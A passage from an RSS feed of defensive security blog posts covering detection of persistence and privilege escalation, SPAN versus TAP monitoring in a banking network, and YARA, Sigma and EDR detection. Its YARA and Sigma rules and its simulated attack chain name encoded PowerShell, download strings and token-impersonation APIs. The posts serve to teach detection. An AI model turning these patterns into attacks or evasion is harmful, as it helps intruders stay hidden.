telemetry</li><li>Windows security events</li><li>API-level telemetry where available</li></ul><p>MITRE’s current detection strategy specifically recommends looking for token duplication and impersonation behavior, including APIs such as:</p><pre>DuplicateToken<br>DuplicateTokenEx<br>ImpersonateLoggedOnUser<br>SetThreadToken</pre><p>and correlating that behavior with subsequent execution under the impersonated security context.</p><h3>Detection Concept</h3><p>A high-value alert could be generated when:</p><pre>Suspicious process<br>        +<br>Privileged process access<br>        +<br>Token manipulation<br>        +<br>Security-context change</pre><p>occurs within a short time window.</p><h3>Detection Engineering Approach</h3><p>The biggest lesson across these techniques is that <strong>single-event detection is often not enough</strong>.</p><p>A better SOC detection strategy is to correlate multiple events.</p><p>For example:</p><pre>Configuration Change<br>        ↓<br>Suspicious Process<br>        ↓<br>Privilege / Context Change<br>        ↓<br>Follow-on Activity</pre><p>This approach can help detect variations of attacker behavior even when the attacker changes the exact tool or command used.</p><p>The main telemetry sources discussed in this report are:</p><p><strong>Sysmon</strong></p><p>Useful for Registry changes, process creation, process access, and driver loading.</p><p><strong>Windows Security Logs</strong></p><p>Useful for process creation, scheduled task creation, service installation, and privilege-related events.</p><p><strong>EDR</strong></p><p>Useful for behavioral detection, process lineage, token manipulation, exploitation behavior, and endpoint context.</p><p><strong>SIEM</strong></p><p>Useful for correlating events from multiple sources and building behavioral detection rules.</p><h3>Conclusion</h3><p>Persistence allows an attacker to maintain access to a compromised system, while privilege escalation allows them to operate with higher permissions.</p><p>The six techniques covered in this report demonstrate why endpoint detection should focus on <strong>behavior and correlation</strong>, not only on known malicious files or commands.</p><p>The overall detection model can be summarized as:</p><pre>Initial Change<br>      ↓<br>Execution<br>      ↓<br>Privilege / Context Change<br>      ↓<br>Persistence or Follow-on Activity<br>      ↓<br>SIEM / EDR Correlation<br>      ↓<br>SOC Alert</pre><p>By combining <strong>MITRE ATT&amp;CK</strong>, <strong>Sysmon</strong>, <strong>Windows Event Logs</strong>, <strong>EDR</strong>, and <strong>SIEM correlation</strong>, security teams can build detections that are more resilient to variations in attacker tooling and execution methods.</p><h3>MITRE ATT&amp;CK References</h3><ul><li><strong>T1547.001 — Registry Run Keys / Startup Folder</strong></li><li><strong>T1053.005 — Scheduled Task</strong></li><li><strong>T1543.003 — Windows Service</strong></li><li><strong>T1548.002 — Bypass User Account Control</strong></li><li><strong>T1068 — Exploitation for Privilege Escalation</strong></li><li><strong>T1134.001 — Token Impersonation/Theft</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79d96b692578" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SPAN vs TAP: Building Network Visibility in a Banking Environment]]></title>
            <link>https://medium.com/@it.baraa.mohamed/span-vs-tap-building-network-visibility-in-a-banking-environment-589288201f4c?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/589288201f4c</guid>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 15:18:43 GMT</pubDate>
            <atom:updated>2026-09-23T15:22:32.678Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHa3p9O3ULKhxpLj44C7bw.png" /></figure><p>A security device can only analyze the traffic it can see.</p><p>In a banking environment, traffic moves across firewalls, web servers, VLANs, endpoints, and multiple security layers. Without proper network visibility, part of that traffic may remain outside the monitoring scope.</p><p>Two technologies commonly used to solve this problem are <strong>SPAN</strong> and <strong>Network TAP</strong>.</p><p>This article explains how they work, where they fit in a banking network, and when each approach makes sense.</p><h3>SPAN: Traffic Mirroring at the Switch</h3><p><strong>SPAN (Switched Port Analyzer)</strong>, commonly known as <strong>Port Mirroring</strong>, is a switch feature that copies traffic from selected interfaces or VLANs to a monitoring port.</p><p>The monitoring port can then forward the copied traffic to tools such as <strong>IDS, network analyzers, or packet capture systems</strong>.</p><p>For example, a <strong>Core Switch</strong> or <strong>Nexus (NX)</strong> switch can mirror traffic from selected VLANs to an IDS sensor. The original traffic continues normally while a copy is sent to the monitoring system.</p><p>This makes SPAN useful when security teams need visibility into specific parts of the network without introducing another physical device.</p><h3>Why Use SPAN?</h3><p>SPAN is particularly useful when:</p><ul><li>Monitoring selected ports or VLANs</li><li>Troubleshooting network activity</li><li>Feeding traffic to IDS or analysis tools</li><li>Temporary or selective visibility is required</li><li>The network already has capable managed switches</li></ul><p>However, SPAN is not simply a matter of copying everything everywhere.</p><h3>The Limitation</h3><p>The monitoring interface has a finite capacity.</p><p>If several high-speed interfaces are mirrored to a lower-capacity destination port, the switch may not be able to deliver all the copied traffic. This can result in packet loss and incomplete visibility.</p><p>That makes <strong>traffic volume, interface capacity, and SPAN configuration</strong> important parts of the design.</p><h3>Network TAP: Visibility at the Link</h3><p>A <strong>Network TAP (Test Access Point)</strong> provides another way to obtain network traffic for monitoring.</p><p>Instead of being configured as a switch feature, a TAP is placed directly on a network link and provides a copy of the traffic to a monitoring system.</p><p>TAPs are commonly used on critical links where consistent visibility is important, such as links between major network or security components.</p><p>The monitoring output can then be connected to <strong>IDS, network monitoring, or packet analysis systems</strong>.</p><p>Because the TAP is dedicated to providing traffic visibility, it avoids some of the limitations associated with switch-based traffic mirroring.</p><h3>SPAN vs TAP</h3><p>The difference is mainly in <strong>how visibility is obtained</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWasLz80Pvagy3-DcKuPsA.png" /></figure><p>This does not make one universally better than the other.</p><p>A practical network can use <strong>both</strong>, depending on where visibility is required.</p><h3>Applying SPAN and TAP to a Banking Network</h3><p>A bank’s network is not a single flat environment. Different systems have different exposure levels and security requirements.</p><p>The proposed topology separates the environment into several logical areas, including the Internet perimeter, DMZ, internal network, server infrastructure, user VLANs, and security monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DKo2l8cz0QSIl7kW_Cw5LA.png" /></figure><h3>Perimeter Security</h3><p>External traffic first reaches the <strong>Anti-DDoS</strong> layer before entering the bank’s perimeter security infrastructure.</p><p>The environment uses <strong>Primary Firewall</strong> and <strong>Secondary Firewall</strong> components to provide the firewall layer and redundancy.</p><p>An additional <strong>Firewall</strong> can be used to enforce segmentation between security zones where required.</p><p>The objective is to control traffic before it reaches internal resources rather than allowing external traffic to move directly into the internal network.</p><h3>DMZ and Web Services</h3><p>Public-facing applications should be separated from internal systems through a <strong>DMZ</strong>.</p><p>The web traffic path includes a <strong>WAF (Web Application Firewall)</strong> in front of the <strong>Web Server</strong> infrastructure.</p><p>The WAF provides application-layer inspection and protection for exposed web applications, while the firewall controls network-level access between zones.</p><p>This separation reduces the direct exposure of internal systems to Internet-facing services.</p><h3>Email Infrastructure</h3><p>Email services require their own security controls.</p><p>The <strong>SEG (Secure Email Gateway)</strong> can inspect and filter incoming and outgoing email traffic before it reaches the organization’s <strong>EX (Exchange)</strong> and <strong>Mail Server</strong> infrastructure.</p><p>A <strong>Proxy</strong> can also be deployed to control and inspect web traffic between internal users and external services.</p><h3>Internal Network and VLANs</h3><p>Inside the network, the <strong>Core Switch</strong> and <strong>Nexus (NX)</strong> infrastructure provide connectivity between different network segments.</p><p>Instead of placing all systems in one broadcast domain, the network can be divided into multiple <strong>VLANs</strong>.</p><p>These VLANs can separate user endpoints, servers, and other internal systems according to their role and security requirements.</p><p>This segmentation also creates useful monitoring points.</p><p>For example, selected VLANs or switch interfaces can be mirrored using <strong>SPAN</strong> and forwarded to an <strong>IDS</strong> sensor.</p><h3>IDS, IPS, and EDR</h3><p>Network visibility becomes useful when it reaches a system capable of analyzing it.</p><p>An <strong>IDS (Intrusion Detection System)</strong> analyzes network traffic and generates alerts when suspicious activity is detected.</p><p>An <strong>IPS (Intrusion Prevention System)</strong> can take preventive action against detected traffic when deployed inline and configured for prevention.</p><p>At the endpoint level, <strong>EDR (Endpoint Detection and Response)</strong> provides visibility into endpoint activity such as processes, files, and network connections.</p><p>These controls provide different perspectives:</p><ul><li><strong>IDS/IPS</strong> → Network traffic</li><li><strong>EDR</strong> → Endpoint activity</li><li><strong>WAF</strong> → Web application traffic</li><li><strong>SEG</strong> → Email traffic</li><li><strong>Firewall</strong> → Network access and segmentation</li><li><strong>Proxy</strong> → Web traffic</li></ul><p>SPAN and TAP complement these controls by helping deliver the network traffic that monitoring systems need to inspect.</p><h3>Where SPAN and TAP Fit</h3><p>In this banking topology, <strong>SPAN</strong> can be configured on the <strong>Core Switch / Nexus</strong> to mirror selected interfaces or VLANs toward IDS or network monitoring systems.</p><p><strong>TAPs</strong> can be deployed on critical physical links where dedicated traffic visibility is required.</p><p>The important design principle is that SPAN and TAP are <strong>visibility mechanisms</strong>, not security controls themselves.</p><p>They do not block an attack, filter a connection, or remove malware.</p><p>Instead, they provide the traffic that security monitoring systems can analyze.</p><p>This distinction is important when designing a security architecture: <strong>visibility comes before analysis, and analysis supports detection and response.</strong></p><h3>Conclusion</h3><p>SPAN and Network TAP solve the same fundamental problem from different angles: <strong>how to provide reliable network visibility to security and monitoring systems.</strong></p><p>SPAN offers flexible, switch-based monitoring of ports and VLANs, while TAP provides dedicated visibility into physical network links.</p><p>In a banking environment, using them alongside <strong>firewalls, WAF, SEG, Proxy, VLANs, IDS/IPS, EDR, and network infrastructure</strong> creates a broader monitoring architecture where security teams can observe traffic across different parts of the environment.</p><p>The choice between SPAN and TAP ultimately depends on the link being monitored, traffic volume, required visibility, and the architecture of the network.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=589288201f4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Malware Patterns to Endpoint Alerts: Understanding YARA, Sigma, Rule Engines, and EDR]]></title>
            <link>https://medium.com/@it.baraa.mohamed/from-malware-patterns-to-endpoint-alerts-understanding-yara-sigma-rule-engines-and-edr-138c2ec6df67?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/138c2ec6df67</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 14:13:46 GMT</pubDate>
            <atom:updated>2026-09-22T16:29:51.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTc8Cc2Q2moEeaBFeJ7IpA.png" /></figure><p>A security alert does not appear out of nowhere.</p><p>Behind every useful detection, there is usually a combination of <strong>visibility, logic, and context</strong>.</p><p>A file may contain suspicious characteristics.</p><p>A process may behave abnormally.</p><p>A Windows event may match a known attack pattern.</p><p>The challenge for a security team is turning these observations into something that can be detected consistently.</p><p>This is where technologies such as <strong>YARA, Sigma, Rule Engines, and EDR</strong> become important.</p><p>In this article, we will look at them from a detection perspective and then follow one simulated attack chain from a suspicious file to an EDR alert and SOC investigation.</p><h3>YARA: Detecting Suspicious Files</h3><p>YARA is commonly used to identify and classify files based on patterns and characteristics.</p><p>Instead of relying only on a filename or hash, a YARA rule can describe characteristics that may indicate a specific malware family, tool, or suspicious artifact.</p><p>A simplified example:</p><pre>rule Suspicious_PE_PowerShell_Artifact<br>{<br>    meta:<br>        description = &quot;Detects a PE file containing suspicious PowerShell references&quot;<br>        author = &quot;Baraa Mohamed&quot;<br>        purpose = &quot;Detection research&quot;</pre><pre>    strings:<br>        $powershell = &quot;powershell.exe&quot;<br>        $encoded = &quot;-EncodedCommand&quot;<br>        $download = &quot;DownloadString&quot;</pre><pre>    condition:<br>        uint16(0) == 0x5A4D and<br>        2 of them<br>}</pre><p>Let’s break it down.</p><h3>The PE check</h3><pre>uint16(0) == 0x5A4D</pre><p>Windows Portable Executable files normally begin with the MZ signature.</p><p>This condition helps restrict the match to PE files rather than arbitrary text files.</p><h3>The strings</h3><pre>$powershell = &quot;powershell.exe&quot;<br>$encoded = &quot;-EncodedCommand&quot;<br>$download = &quot;DownloadString&quot;</pre><p>These are characteristics we want YARA to look for.</p><h3>The condition</h3><pre>2 of them</pre><p>The file must contain at least two of the defined strings.</p><p>This is important because a single string is often not enough to make a reliable detection.</p><p>For example, legitimate software may contain the word powershell.exe.</p><p>Combining multiple characteristics can make a rule more meaningful.</p><h3>But there is a limitation</h3><p>YARA does not automatically understand whether a file is malicious.</p><p>It evaluates the conditions we give it.</p><p>That means detection quality depends heavily on how the rule is designed.</p><p>A poorly designed rule can generate false positives.</p><p>A rule that is too specific can miss variants.</p><p>This is one reason detection engineering requires continuous tuning.</p><h3>Sigma: Detecting Suspicious Activity</h3><p>YARA is useful when we are examining an artifact.</p><p>But what happens when we want to detect <strong>activity</strong>?</p><p>Consider this process:</p><pre>powershell.exe -EncodedCommand ...</pre><p>We may want to detect it from Windows process creation logs.</p><p>This is where Sigma becomes useful.</p><p>Sigma provides a generic format for describing log-based detection logic.</p><p>For example:</p><pre>title: Suspicious PowerShell From Office Application<br>status: experimental</pre><pre>logsource:<br>    category: process_creation<br>    product: windows</pre><pre>detection:<br>    selection:<br>        Image|endswith: &#39;\powershell.exe&#39;<br>        ParentImage|endswith:<br>            - &#39;\WINWORD.EXE&#39;<br>            - &#39;\EXCEL.EXE&#39;<br>            - &#39;\OUTLOOK.EXE&#39;<br>        CommandLine|contains:<br>            - &#39;-enc&#39;<br>            - &#39;-encodedcommand&#39;</pre><pre>    condition: selection</pre><pre>level: high</pre><p>The rule looks for three things:</p><ol><li>PowerShell execution</li><li>An Office application as the parent process</li><li>An encoded PowerShell command</li></ol><p>Individually, these events can have legitimate explanations.</p><p>Together, they represent a much more interesting detection opportunity.</p><p>The important point is that Sigma describes the <strong>detection logic</strong>, rather than being tied directly to one SIEM product.</p><p>The rule can then be converted into a query suitable for a specific platform.</p><p>Conceptually:</p><pre>Windows Event<br>      ↓<br>Sigma Detection Logic<br>      ↓<br>SIEM / Detection Platform<br>      ↓<br>Rule Match<br>      ↓<br>Alert</pre><h3>Rule Engines: Turning Events Into Detections</h3><p>A rule engine is the component that evaluates incoming data against detection logic.</p><p>At a simplified level:</p><pre>Telemetry<br>    ↓<br>Normalization<br>    ↓<br>Rule Engine<br>    ↓<br>Condition Matching<br>    ↓<br>Detection<br>    ↓<br>Alert</pre><p>Imagine an endpoint produces:</p><pre>Image:<br>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</pre><pre>Parent:<br>C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</pre><pre>CommandLine:<br>powershell.exe -EncodedCommand &lt;value&gt;</pre><p>The rule engine evaluates these fields.</p><p>If the event satisfies the rule:</p><pre>Rule Match = TRUE</pre><p>the detection platform can generate an alert.</p><p>But there is a major problem:</p><p><strong>Not every rule match represents malicious activity.</strong></p><p>A SOC may have legitimate administrative scripts, automation tools, software deployment systems, and security products that generate similar events.</p><p>This is why detection engineering is not simply:</p><blockquote><em>Write rule → Generate alert</em></blockquote><p>It is closer to:</p><blockquote><em>Write → Test → Observe → Tune → Validate → Monitor</em></blockquote><h3>EDR: Adding Endpoint Context</h3><p>EDR stands for <strong>Endpoint Detection and Response</strong>.</p><p>An EDR platform collects security telemetry from endpoints and uses that telemetry for detection, investigation, and response.</p><p>Depending on the product, telemetry may include:</p><ul><li>Process creation</li><li>Parent-child relationships</li><li>Command lines</li><li>File creation and modification</li><li>Registry activity</li><li>Network connections</li><li>User information</li><li>Persistence-related activity</li></ul><p>This gives analysts something extremely valuable:</p><p><strong>Context.</strong></p><p>For example, seeing:</p><pre>powershell.exe</pre><p>alone tells us very little.</p><p>But seeing:</p><pre>WINWORD.EXE<br>      ↓<br>powershell.exe<br>      ↓<br>encoded command<br>      ↓<br>new executable created<br>      ↓<br>outbound network connection</pre><p>gives us a much richer picture.</p><p>This is one of the major advantages of endpoint telemetry.</p><p>The analyst can investigate the <strong>sequence of events</strong>, not just one event.</p><h3>One Attack, Three Detection Perspectives</h3><p>Now let’s put everything together.</p><p>The following scenario is a <strong>simulated lab attack chain</strong> designed to demonstrate detection concepts. The artifacts and values are illustrative, but the telemetry and investigation workflow are representative of what a SOC analyst may encounter.</p><h3>Scenario</h3><p>A user receives a malicious-looking Office document:</p><pre>Invoice_September.docm</pre><p>The document is opened on a Windows workstation.</p><p>The simulated attack chain is:</p><pre>Office Document<br>      ↓<br>WINWORD.EXE<br>      ↓<br>PowerShell<br>      ↓<br>Payload Creation<br>      ↓<br>Network Connection<br>      ↓<br>EDR Telemetry<br>      ↓<br>Detection Rule<br>      ↓<br>SOC Alert<br>      ↓<br>Investigation</pre><p>Let’s investigate it from three different perspectives.</p><h3>Perspective 1 — YARA: What Is Inside the Artifact?</h3><p>The SOC or malware analyst obtains the suspicious file and scans it.</p><p>A YARA rule may look for characteristics associated with the simulated payload:</p><pre>rule Simulated_Suspicious_Payload<br>{<br>    meta:<br>        description = &quot;Detects characteristics used by the lab payload&quot;<br>        author = &quot;Baraa Mohamed&quot;</pre><pre>    strings:<br>        $mz = { 4D 5A }<br>        $ps = &quot;powershell.exe&quot;<br>        $enc = &quot;-EncodedCommand&quot;<br>        $net = &quot;DownloadString&quot;</pre><pre>    condition:<br>        $mz at 0 and<br>        2 of ($ps, $enc, $net)<br>}</pre><p>The scan produces:</p><pre>Target:<br>Invoice_September_payload.exe</pre><pre>Result:<br>Simulated_Suspicious_Payload</pre><p>At this point, YARA has given us an important clue.</p><p>But it has <strong>not explained the complete attack</strong>.</p><p>We still need to understand how the file appeared on the endpoint and what happened after execution.</p><p>That is where endpoint telemetry becomes important.</p><h3>Perspective 2 — EDR: What Happened on the Endpoint?</h3><p>The EDR timeline shows something like this:</p><pre>10:14:02  WINWORD.EXE started<br>10:14:05  WINWORD.EXE spawned powershell.exe<br>10:14:05  PowerShell executed encoded command<br>10:14:07  PowerShell created payload.exe<br>10:14:08  payload.exe started<br>10:14:09  payload.exe initiated outbound connection</pre><p>The parent-child relationship is particularly interesting:</p><pre>WINWORD.EXE<br>    └── powershell.exe<br>            └── payload.exe</pre><p>This is much more useful than simply seeing:</p><pre>powershell.exe</pre><p>The EDR has provided the <strong>execution chain</strong>.</p><p>Now the SOC analyst has several investigation questions:</p><ul><li>Which user opened the document?</li><li>What was the document’s original location?</li><li>What command line did PowerShell execute?</li><li>What was the SHA-256 hash of payload.exe?</li><li>What network destination did it contact?</li><li>Did the same hash appear on other endpoints?</li><li>Was persistence created?</li><li>Did the process access sensitive files?</li></ul><p>The investigation is becoming a timeline rather than a single alert.</p><h3>Perspective 3 — Sigma: Can We Detect This Behavior?</h3><p>Now imagine we want to detect this behavior automatically.</p><p>A Sigma rule can focus on the suspicious process relationship:</p><pre>title: Office Application Spawning Encoded PowerShell<br>status: experimental</pre><pre>logsource:<br>    category: process_creation<br>    product: windows</pre><pre>detection:<br>    selection:<br>        ParentImage|endswith:<br>            - &#39;\WINWORD.EXE&#39;<br>            - &#39;\EXCEL.EXE&#39;<br>            - &#39;\OUTLOOK.EXE&#39;</pre><pre>        Image|endswith:<br>            - &#39;\powershell.exe&#39;<br>            - &#39;\pwsh.exe&#39;</pre><pre>        CommandLine|contains:<br>            - &#39;-enc&#39;<br>            - &#39;-encodedcommand&#39;</pre><pre>    condition: selection</pre><pre>level: high</pre><p>Now the same behavior can potentially be detected automatically when it happens again.</p><p>The detection flow becomes:</p><pre>Process Creation Event<br>        ↓<br>Parent = WINWORD.EXE<br>        +<br>Image = powershell.exe<br>        +<br>Encoded Command<br>        ↓<br>Sigma Detection Logic<br>        ↓<br>Rule Engine<br>        ↓<br>MATCH<br>        ↓<br>EDR / SIEM Alert</pre><p>This is the point where the three perspectives meet.</p><h3>From Detection to SOC Investigation</h3><p>Suppose the alert arrives in the SOC:</p><pre>Alert:<br>Office Application Spawning Encoded PowerShell</pre><pre>Host:<br>WS-023</pre><pre>User:<br>jsmith</pre><pre>Time:<br>10:14:05 UTC</pre><pre>Parent:<br>WINWORD.EXE</pre><pre>Child:<br>powershell.exe</pre><pre>Command Line:<br>powershell.exe -EncodedCommand &lt;value&gt;</pre><p>A Tier 1 SOC analyst should not immediately conclude:</p><blockquote><em>“This is malware.”</em></blockquote><p>The alert is an <strong>indicator that requires investigation</strong>.</p><p>The analyst starts building context.</p><h3>Step 1 — Process Tree</h3><pre>WINWORD.EXE<br>    └── powershell.exe<br>            └── payload.exe</pre><h3>Step 2 — File Investigation</h3><p>The analyst retrieves the hash of payload.exe.</p><p>Example:</p><pre>SHA-256:<br>&lt;simulated hash&gt;</pre><p>The hash can then be checked against internal threat intelligence, malware repositories, or other approved security resources.</p><h3>Step 3 — Network Activity</h3><p>The analyst checks whether the process established external connections.</p><p>For example:</p><pre>Process:<br>payload.exe</pre><pre>Destination:<br>203.0.113.50:443</pre><p>The IP above belongs to the documentation-only TEST-NET range and is used here purely as a simulated destination.</p><h3>Step 4 — Scope</h3><p>The analyst searches across the environment:</p><pre>Has this hash appeared elsewhere?</pre><pre>Has this command line appeared elsewhere?</pre><pre>Did another endpoint execute the same document?</pre><pre>Are there additional users involved?</pre><h3>Step 5 — Response</h3><p>If the investigation confirms malicious activity, the SOC can escalate the incident and use the available EDR response capabilities according to the organization’s procedures.</p><p>Possible response actions may include:</p><ul><li>Isolating the endpoint</li><li>Terminating a malicious process</li><li>Quarantining a file</li><li>Blocking an indicator</li><li>Collecting additional evidence</li></ul><p>The exact response depends on the organization’s playbooks and the evidence collected during the investigation.</p><h3>Why One Detection Is Not Enough</h3><p>This scenario demonstrates something important.</p><p>No single technology necessarily tells the entire story.</p><h3>YARA</h3><p>Can answer:</p><blockquote><strong><em>Does this artifact contain characteristics I’m looking for?</em></strong></blockquote><h3>Sigma</h3><p>Can answer:</p><blockquote><strong><em>Does this event or behavior match my detection logic?</em></strong></blockquote><h3>EDR</h3><p>Can answer:</p><blockquote><strong><em>What happened on the endpoint, and what telemetry can we investigate or respond to?</em></strong></blockquote><h3>Rule Engine</h3><p>Can answer:</p><blockquote><strong><em>Does the incoming data satisfy the conditions of a detection rule?</em></strong></blockquote><p>Together:</p><pre>                 ┌─────────────┐<br>                 │    YARA     │<br>                 │ File/Memory │<br>                 └──────┬──────┘<br>                        │<br>                        ↓<br>              Suspicious Artifact<br>                        │<br>                        ↓<br>┌─────────────┐   Endpoint Telemetry   ┌─────────────┐<br>│    EDR      │ ─────────────────────→ │ Rule Engine │<br>│ Visibility  │                        │  Matching   │<br>└─────────────┘                        └──────┬──────┘<br>                                              │<br>                                              ↓<br>                                         Sigma Logic<br>                                              │<br>                                              ↓<br>                                            Alert<br>                                              │<br>                                              ↓<br>                                      SOC Investigation</pre><p>This is where detection becomes operational.</p><h3>8. Detection vs Investigation</h3><p>One of the most important distinctions for a SOC analyst is:</p><p><strong>Detection is not investigation.</strong></p><p>A detection rule might tell us:</p><pre>Suspicious PowerShell execution detected.</pre><p>The investigation asks:</p><pre>Who executed it?<br>Why?<br>From which parent process?<br>What command was executed?<br>What file was created?<br>What network connection followed?<br>Did persistence occur?<br>Did other systems show the same activity?</pre><p>The rule gets the analyst’s attention.</p><p><strong>The investigation determines what actually happened.</strong></p><h3>The Detection Engineering Challenge</h3><p>Writing a detection is only the beginning.</p><p>A good detection should ideally have:</p><h3>Coverage</h3><p>Can it detect the behavior we actually care about?</p><h3>Precision</h3><p>Does it avoid unnecessary alerts?</p><h3>Context</h3><p>Does the alert contain enough information for an analyst to investigate?</p><h3>Reliability</h3><p>Does it continue working when attackers modify their techniques?</p><h3>Maintainability</h3><p>Can the detection be updated as the environment changes?</p><p>This is why detection engineering is closely connected to SOC operations.</p><p>The objective is not to create the maximum number of alerts.</p><p>The objective is to create <strong>useful alerts that help analysts identify meaningful security activity.</strong></p><h3>Conclusion</h3><p>YARA, Sigma, Rule Engines, and EDR represent different layers of the detection process.</p><p><strong>YARA</strong> focuses on characteristics of artifacts.</p><p><strong>Sigma</strong> provides a structured way to describe log-based detection logic.</p><p><strong>Rule Engines</strong> evaluate incoming data against that logic.</p><p><strong>EDR</strong> provides the endpoint visibility and response capabilities that allow analysts to understand activity in context.</p><p>The real value appears when these concepts are connected.</p><p>A suspicious artifact can lead to execution.</p><p>Execution creates telemetry.</p><p>Telemetry is evaluated by detection logic.</p><p>A rule match generates an alert.</p><p>And finally, a SOC analyst investigates the evidence behind that alert.</p><p>That is the difference between simply having security tools and building a <strong>detection capability</strong>.</p><p><strong>Detection starts with visibility.<br>Good detection turns visibility into logic.<br>Effective SOC operations turn that logic into investigation and response.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=138c2ec6df67" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>